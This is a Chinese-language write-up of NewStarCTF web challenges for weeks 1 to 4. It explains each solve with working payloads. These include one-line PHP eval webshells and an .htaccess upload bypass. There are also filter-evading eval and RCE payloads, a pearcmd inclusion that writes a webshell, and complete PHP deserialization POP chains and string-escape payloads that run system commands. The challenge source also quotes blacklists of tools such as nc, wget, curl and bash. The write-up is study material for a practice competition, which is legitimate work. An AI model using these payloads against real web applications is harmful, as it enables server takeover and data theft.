NewStarCTF web

week1

泄露的秘密

直接用disearch扫描,拿到robots.txt和www.zip,拼接得到完整的flag

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

Begin of Upload

先创建txt文件,写入一句话木马,在上传时得知,只允许图片形式,将文件改为jpg图片后缀,上传时,抓包,改包,如下:

然后用蚁剑进入后门即可:

在这个文件中得到flag,flag{2e5dd867-8ece-4cfd-9044-3ebf96f1558c}

Begin of HTTP

根据提示一步一步来,需要注意的是最后的本地访问时,X-Forwarded-For失效,下面的伪造头一个一个试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
X-Forwarded-For:127.0.0.1

X-Forwarded:127.0.0.1

Forwarded-For:127.0.0.1

Forwarded:127.0.0.1

X-Forwarded-Host:127.0.0.1

X-remote-IP:127.0.0.1

X-remote-addr:127.0.0.1

True-Client-IP:127.0.0.1

X-Client-IP:127.0.0.1

Client-IP:127.0.0.1

X-Real-IP:127.0.0.1

Ali-CDN-Real-IP:127.0.0.1

Cdn-Src-Ip:127.0.0.1

Cdn-Real-Ip:127.0.0.1

CF-Connecting-IP:127.0.0.1

X-Cluster-Client-IP:127.0.0.1

WL-Proxy-Client-IP:127.0.0.1

Proxy-Client-IP:127.0.0.1

Fastly-Client-Ip:127.0.0.1

True-Client-Ip:127.0.0.1

Host: 127.0.0.1

flag{75906422-b701-4fe8-803f-89be1ada5fd6}

ErrorFlask

很简单,直接将参数的值故意输错,看报错就行:

Begin of PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){ //弱比较,直接md5为0绕过
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){ //数组绕过
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){ //数组绕过
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){ //添加非数字字符绕过
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

if($flag4){
echo "=Level 5=<br>";
extract($_POST);//提取关联数组
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){//过滤数字与字符,用无字符符号绕过
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

前面几步很简单,最后传入关联数组后,需要flag5为真,且flag5为无字符变量,直接构造payload:

1
flag5=(~%8F%97%8F%96%91%99%90)();  //相当于语句phpinfo();

flag{0e742ffa-dc49-41d5-bdaa-f2c91e598fab}

R!C!E!

1
2
3
4
5
6
7
8
9
10
11
 <?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){ //md5碰撞 解得password=114514
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){//过滤这几个命令
eval($code);
}
}
}

过滤的命令用/\双写都没办法绕过,换用tac(从最后一排开始输出)可以避免用这几个命令,payload:

1
password=114514&e[v.a.l=echo `tac /fl*`;  //_在post请求中非法,用[代替,用反引号避免无法解析

flag{afa8401e-9ce8-43da-96d2-5719aae6fc40}

EasyLogin

直接密码爆破,admin 000000,抓包可以看到flag

总结

知道了tac命令以及在post传值时,_是不合法的

week2

游戏高手

查看js,发现关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//游戏结束
function gameover(){
if(gameScore > 100000){
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api.php", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
alert(response.message);
}
};
var data = {
score: gameScore,
};
xhr.send(JSON.stringify(data));
}
alert("成绩:"+gameScore);
gameScore=0;
curPhase =PHASE_READY;
hero = null;
hero = new Hero();
}

审计代码,只要以json方式在api.php页面上传的score大于100000,就会返回flag,直接上传即可:

1
2
3
4
5
6
7
8
9
10
import requests
url="http://aba9532b-cca9-44fe-ae0b-f9635e6e6247.node4.buuoj.cn:81/api.php"

data={
'score':111111
}

response=requests.post(url=url,json=data).text

print(response)

include0。0

文件包含

1
2
3
4
5
6
7
8
9
10
 <?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?> nope

过滤了base rot,可以选择使用其他过滤器,格式:php://filter/convert.iconv.*/resource=flag.php,过滤器使用方法:

convert.iconv.<input-encoding>.<output-encoding> 或者 convert.iconv.<input-encoding>/<output-encoding>``这里的<input-encoding>和<output-encoding>分别为输入的字符串编码方式和输出的字符串编码方式(字符集)。,所以我们可以先定下输入编码方式,爆破输出编码方式。payload:

php://filter/convert.iconv.UTF-8.爆破位置/resource=flag.php

ez_sql

插入万能密码,提示no,说明有waf,试了一下是大小写绕过,直接用sqlmap的randomcase.py模块一把梭。

Unserialize?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;

public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}

@unserialize($_POST['unser']);
?>

很简单的反序列化,只要cmd执行即可,唯一需要注意的是,需要将私有属性改为公有,这样对象才能执行任意命令,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
`<?php`

`highlight_file(__FILE__);`

`// Maybe you need learn some knowledge about deserialize?`

`class evil {`

`public $cmd="ls /;uniq /th1s_1s_fffflllll4444aaaggggg";`

`}`

`$a=new evil;`

`echo serialize($a);`

`?>`

payload:O:4:"evil":1:{s:3:"cmd";s:40:"ls /;uniq /th1s_1s_fffflllll4444aaaggggg";}

Upload again!

文件上传,经过反复测试,后端对php解析的所有后缀都过滤了,绕过方法:上传.htaccess配置文件,修改配置使得所有文件都可以解析:SetHandler application/x-httpd-php

并且会检测文件内容中是否存在<?php或<?标签,存在也会上传失败,绕过方法,使用html中的script标签执行eval函数:

1
2
3
<script language="php">
eval($_POST['a']);
</script>

将文件令为html文件,上传访问解析即可,然后进入后门。

R!!C!!E!!

提示什么都没有,看看leaked,是.git泄露,用工具发现bo0g1pop.php,访问:

1
2
3
4
5
6
7
 <?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}

if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star']))将除字母、下划线、括号外的所有字符都删除,那么这里就是无字符参数rce,需要用函数进行构造,由于将scandir过滤了,所以无法直接访问到目录,这里可以用getallheaders()函数进行rce,由于这个函数会匹配所有header,我们只需要我们插入的那项,这时候会用到这两个函数:

array_flip()是交换数组的键和值,array_rand()是随机返回一个数组,使用array_rand(array_flip())就有可能匹配到我们的rce命令,payload:

1
2
3
4
//header
Leon: ls /;cat /flag;
//GET
?star=system(array_rand(array_flip(getallheaders())));

由于是随机匹配,所以需要多进行几次刷新,就可以拿到flag。

参考:https://zhuanlan.zhihu.com/p/157431794

week3

include🍐

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}

include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

提示在phpinfo.php,访问给到提示register_argc_argv是开启状态,了解register_argc_argv与rce,还有需要注意的是,利用的漏洞文件pearcmd.php路径是在/usr/local/lib/php/pearcmd.php,构造payload:?file=/usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_POST['cmd']);?>+2.php,由于文件包含时加了.php,所以这里的pearcmd不加,在pear命令中,分隔符为+而不是&,所以payload意思为:包含这个文件,这时执行pear命令,创建2.php文件并向文件内写入一句话木马(注意这个文件我们没用指定上传路径,所以默认就是在网页目录),访问这个文件,发现文件被解析,直接可以进入后门。

popGadget

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}

@unserialize($_POST['pop']);

我们可以分析发现,由Begin->name的字符比较触发__toString__toString中将类当做函数使用触发__invoke__invoke中访问不存在的函数触发__call,由__call触发end,最后调用unset访问不可访问的属性触发__unset,通过__unset方法中的操作可以进行命令执行,但是要注意的是,保护属性和私有属性必须在类内访问,类外不可访问,最后序列化出来的字符串可以通过url编码的形式绕过保护属性和私有属性的检查。exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __construct()
{
$this->name=new Then();
}
}

class Then{
private $func;

public function __construct()
{
$this->func=new Super();
}

}

class Handle{
protected $obj;

public function __construct()
{
$this->obj=new Ctf();
}

}

class Super{
protected $obj;
public function __construct()
{
$this->obj=new Handle();
}

}

class CTF{
public $handle;

public function __construct()
{
$this->handle=new WhiteGod();
}

}

class WhiteGod{
public $func="system";
public $var="ls /;cat /flag";

public function __construct()
{
($this->func)($this->var);
}
}


$begin=new Begin();
echo urlencode(serialize($begin));

#O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A14%3A%22ls+%2F%3Bcat+%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

R!!!C!!!E!!!

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}

这里是exec命令执行函数,由于这个函数在执行命令后不会输出,可以用tee命令将其命令结果写在文件里,用法:exec("ls / | tee x"):将根目录文件名写进x文件里,这里过滤了tee,可以用''绕过,exp:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
class minipop{
public $code="cat /flag_is_h3eeere | t''ee h";
public $qwejaskdjnlka;
}

$a=new minipop();
$b=new minipop();//创建两次是为了在第一次销毁时,触发第二次里的__toString函数
$b->qwejaskdjnlka=$a;

echo serialize($b);//O:7:"minipop":2:{s:4:"code";s:30:"cat /flag_is_h3eeere | t''ee h";s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:30:"cat /flag_is_h3eeere | t''ee h";s:13:"qwejaskdjnlka";N;}}

GenShin

首先根据提示,在网络中找到需要访问的路径为secr3tofpop,提示通过get方式给name传参,尝试ssti注入,发现有waf,直接fenjing一把梭

week4

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

关键函数:str_replace,典型的反序列化字符串逃逸,传入的字符串通过控制bad数量,顶出我们需要的代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
// highlight_file(__FILE__);
// function waf($str){
// return str_replace("bad","good",$str);
// }

// class GetFlag {
// public $key;
// public $cmd = "cat /flag";

// }

// $a=new GetFlag();
// echo serialize($a);


$str='";s:3:"cmd";s:4:"ls /";}';
$str2='";s:3:"cmd";s:9:"cat /flag";}';
echo strlen($str2);

已知";s:3:"cmd";s:9:"cat /flag长度为29,顶出29个字符即可,payload:

1
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

More Fast

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope")

很简单的反序列化,但是注意在最后throw new Exception("Nope"),反序列化后会扔出一个异常,此时对象还未销毁,所以__destruct()函数还未得以触发,在php中,当对象被销毁时会自动调用__destruct()方法,但如果程序报错或者抛出异常,就不会触发该魔术方法。

当一个类创建之后它会自己消失,而 __destruct() 魔术方法的触发条件就是一个类被销毁时触发,而throw那个函数就是回收了自动销毁的类,导致destruct检测不到有东西销毁,从而也就导致无法触发destruct函数。

我们可以通过提前触发垃圾回收机制来抛出异常,从而绕过GC回收,唤醒__destruct()魔术方法。那么这里有三种方法:

  • 将属性增加,与绕过__wakeup()函数相似
  • 将序列化后的字符串删除一个}
  • 将链子放进一个数组再序列化,最后将数组键值乱序即可(如:数组下标为0、1、2,随意修改一个下标即可)

原理都一样,总之就是提前引出错误,触发垃圾回收机制,这样throw就不会再回收自动销毁的类了。

payload:

1
2
3
4
5
6
//方法1
fast=O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}
//方法2
fast=O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}
//方法3
fast=a:2:{i:1;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;i:0;}